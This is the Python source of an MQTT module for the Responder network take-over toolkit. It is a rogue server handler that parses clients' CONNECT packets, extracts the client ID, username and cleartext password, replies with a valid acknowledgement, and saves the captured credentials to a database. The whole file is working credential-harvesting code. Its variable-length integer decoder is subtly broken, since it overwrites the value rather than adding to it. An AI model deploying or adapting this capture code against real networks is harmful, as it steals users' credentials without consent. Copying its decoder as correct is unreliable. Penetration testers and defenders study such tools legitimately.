#!/usr/bin/env python # This file is part of Responder, a network take-over set of tools # created and maintained by Laurent Gaffie. # email: laurent.gaffie@gmail.com # This program is free software: you can redistribute it and/or modify # it under the terms of the GNU General Public License as published by # the Free Software Foundation, either version 3 of the License, or # (at your option) any later version. # # This program is distributed in the hope that it will be useful, # but WITHOUT ANY WARRANTY; without even the implied warranty of # MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the # GNU General Public License for more details. # # You should have received a copy of the GNU General Public License # along with this program. If not, see . from utils import settings, NetworkSendBufferPython2or3, SaveToDb if settings.Config.PY2OR3 == "PY3": from socketserver import BaseRequestHandler else: from SocketServer import BaseRequestHandler from packets import MQTTv3v4ResponsePacket, MQTTv5ResponsePacket #Read N byte integer def readInt(data, offset, numberOfBytes): value = int.from_bytes(data[offset:offset+numberOfBytes], 'big') offset += numberOfBytes return (value, offset) #Read binary data def readBinaryData(data, offset): #Read number of bytes length, offset = readInt(data, offset, 2) #Read bytes value = data[offset:offset+length] offset += length return (value, offset) #Same as readBinaryData() but without reading data def skipBinaryDataString(data, offset): length, offset = readInt(data, offset, 2) offset += length return offset #Read UTF-8 encoded string def readString(data, offset): value, offset = readBinaryData(data, offset) return (value.decode('utf-8'), offset) #Read variable byte integer #(https://docs.oasis-open.org/mqtt/mqtt/v5.0/os/mqtt-v5.0-os.html#_Toc3901011) def readVariableByteInteger(data, offset): multiplier = 1 value = 0 while True: encodedByte = data[offset] offset += 1 value = (encodedByte & 127) * multiplier if (multiplier > 128 * 128 * 128): return None multiplier *= 128 if(encodedByte & 128 == 0): break return (value, offset) class MqttPacket: USERNAME_FLAG = 0x80 PASSWORD_FLAG = 0x40 WILL_FLAG = 0x04 def __init__(self, data): self.__isValid = True controllPacketType, offset = readInt(data, 0, 1) #check if CONNECT packet type if controllPacketType != 0x10: self.__isValid = False return #Remaining length remainingLength, offset = readVariableByteInteger(data, offset) #Protocol name protocolName, offset = readString(data, offset) #Check protocol name if protocolName != "MQTT" and protocolName != "MQIsdp": self.__isValid = False return #Check protocol version self.__protocolVersion, offset = readInt(data, offset, 1) #Read connect flag register connectFlags, offset = readInt(data, offset, 1) #Read keep alive (skip) offset += 2 #MQTTv5 implements properties if self.__protocolVersion > 4: #Skip all properties propertiesLength, offset = readVariableByteInteger(data, offset) offset+=propertiesLength #Get Client ID self.clientId, offset = readString(data, offset) if (self.clientId == ""): self.clientId = "" #Skip Will if (connectFlags & self.WILL_FLAG) > 0: #MQTT v5 implements properties if self.__protocolVersion > 4: willProperties, offset = readVariableByteInteger(data, offset) #Skip will properties offset = skipBinaryDataString(data, offset) offset = skipBinaryDataString(data, offset) #Get Username if (connectFlags & self.USERNAME_FLAG) > 0: self.username, offset = readString(data, offset) else: self.username = "" #Get Password if (connectFlags & self.PASSWORD_FLAG) > 0: self.password, offset = readString(data, offset) else: self.password = "" def isValid(self): return self.__isValid def getProtocolVersion(self): return self.__protocolVersion def data(self, client): return { 'module': 'MQTT', 'type': 'Cleartext', 'client': client, 'hostname': self.clientId, 'user': self.username, 'cleartext': self.password, 'fullhash': self.username + ':' + self.password } class MQTT(BaseRequestHandler): def handle(self): CONTROL_PACKET_TYPE_CONNECT = 0x10 try: data = self.request.recv(2048) #Read control packet type controlPacketType, offset = readInt(data, 0, 1) #Skip non CONNECT packets if controlPacketType != CONTROL_PACKET_TYPE_CONNECT: return #Parse connect packet packet = MqttPacket(data) #Skip if it contains invalid data if not packet.isValid(): #Return response return #Send response packet if packet.getProtocolVersion() < 5: responsePacket = MQTTv3v4ResponsePacket() else: responsePacket = MQTTv5ResponsePacket() self.request.send(NetworkSendBufferPython2or3(responsePacket)) #Save to DB SaveToDb(packet.data(self.client_address[0])) except Exception: self.request.close() pass